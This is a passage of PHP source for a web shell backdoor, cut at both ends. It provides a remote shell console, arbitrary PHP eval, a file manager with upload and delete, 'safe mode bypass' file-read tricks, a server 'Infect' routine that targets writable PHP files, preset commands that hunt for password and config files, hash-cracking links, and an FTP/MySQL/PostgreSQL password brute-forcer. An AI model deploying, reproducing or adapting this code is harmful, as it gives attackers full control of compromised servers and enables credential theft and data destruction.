			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
			break;
		/* () 12.2015 mitryz */
		case 'frame':
			$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
			if ($frameSrc[0] != '/')
				$frameSrc = '/' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != '/')
				$frameSrc = $frameSrc . '/';
			$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
			echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
			break;
	}
	echo '</div>';
	hardFooter();
}
if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	hardFooter();
}
function actionPhp() {
	if( isset($_POST['ajax']) ) {
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	hardHeader();
	if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
		echo '<h1>PHP info</h1><div class=content>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
		$tmp = preg_replace('!h1!msiU','h2',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
		echo $tmp;
		echo '</div><br>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
		echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	hardFooter();
}
function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if ( is_array($_FILES['f']['tmp_name']) ) {
					foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
                        if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
							}
						}
					}
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($ = readdir($dh) ) !== false) {
						$ = $path.$;
						if ( (basename($) == "..") || (basename($) == ".") )
							continue;
						$type = filetype($);
						if ($type == "dir")
							deleteDir($);
						else
							@unlink($);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					prototype('act', $_POST['p1']);
					prototype('f', serialize(@$_POST['f']));
					prototype('c', @$_POST['c']);
				}
				break;
		}
	}
    hardHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';hardFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<label><select name='p1'>";
	if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'> Paste</option>";
	echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
    echo "<option value='tar'>+ tar.gz</option>";
    echo "</select></label>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='submit'></td></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='submit'></td></tr>
			</table></form>";
	function hardRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $) {
				if(@is_dir($)){
					if($path!=$)
						hardRecursiveGlob($);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($)."\", \"view\",\"\")'>".htmlspecialchars($)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		hardRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='https://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='https://www.fakenamegenerator.com/';document.hf.submit()\"><br>
			<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='https://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='submit' value='toolki.com' onclick=\"document.hf.action='https://toolki.com/';document.hf.submit()\"><br>
			<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='https://fopo.com.ar/';document.hf.submit()\"><br>
			<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	hardFooter();
}
function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."
";
			}
			break;
		case 6:
			if(!function_exists('imap_open'))break;
			$stream = imap_open($_POST['p2'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	hardHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
	echo '</div>';
	hardFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}
function actionSelfRemove() {
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        hardHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	hardFooter();
}
function actionInfect() {
	hardHeader();
	echo '<h1>Infect</h1><div class=content>';
	if($_POST['p1'] == 'infect') {
		$target=$_SERVER['DOCUMENT_ROOT'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=red size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
		}
	hardFooter();
}
function actionBruteforce() {
	hardHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
